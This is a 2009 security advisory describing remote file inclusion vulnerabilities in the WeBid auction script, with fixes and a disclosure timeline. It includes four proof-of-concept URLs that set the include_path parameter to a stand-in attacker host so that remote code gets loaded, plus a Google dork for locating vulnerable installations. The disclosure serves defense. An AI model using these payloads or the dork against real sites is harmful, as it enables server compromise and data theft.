[ECHO_ADV_104$2009] WeBid <= 0.7.3 RC9 Multiple Remote File Inclution Vulnerabilities

2009-03-12T00:00:00
ID SECURITYVULNS:DOC:21465
Type securityvulns
Reporter Securityvulns
Modified 2009-03-12T00:00:00

Description

ECHO_ADV_104$2009


[ECHO_ADV_104$2009] WeBid <= 0.7.3 RC9 Multiple Remote File Inclution Vulnerabilities

Author : K-159 Date : March, 11 th 2009 Location : Jakarta, Indonesia Web : http://e-rdc.org/v1/news.php?readmore=127 Critical Lvl : High Impact : System Access Where : From Remote


Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : WeBid version : <= 0.7.3 RC9 Vendor : http://sourceforge.net/projects/simpleauction http://www.webidsupport.com/ Description :

WeBid is Open source php/mysql fully featured auction script. Perfect for those who want to start their own auction site.


Vulnerability: ~~~~~~~~~~~~~~

Input passed to the "$include_path" parameter in cron.php page is not properly verified before being used to include files.This can be exploited to include arbitrary files from local or external resources. This vulnerability also happen to files ST_browsers.php, ST_countries.php, ST_platforms.php in admin's folder Successful exploitation requires that "register_globals" is enabled.

Poc/Exploit: ~~~~~~~~~ http://www.example.com/[path]/cron.php?include_path=http://www.attacker.com/evil? http://www.example.com/[path]/admin/ST_brwosers.php?include_path=http://www.attacker.com/evil? http://www.example.com/[path]/admin/ST_countries.php?include_path=http://www.attacker.com/evil? http://www.example.com/[path]/admin/ST_platforms.php?include_path=http://www.attacker.com/evil?

Dork: ~~~~~ Google : "copyright 2008, WEBID"

Solution: ~~~~~~~

  • Edit the source code to ensure that input is properly verified.
  • turn off register_globals.

Timeline: ~~~~~~~~~

  • 08 - 03 - 2009 bug found
  • 08 - 03 - 2009 vendor contacted
  • 08 - 03 - 2009 vendor response
  • 11 - 03 - 2009 advisory release

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Contact: ~~~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org Homepage: http://www.e-rdc.org/

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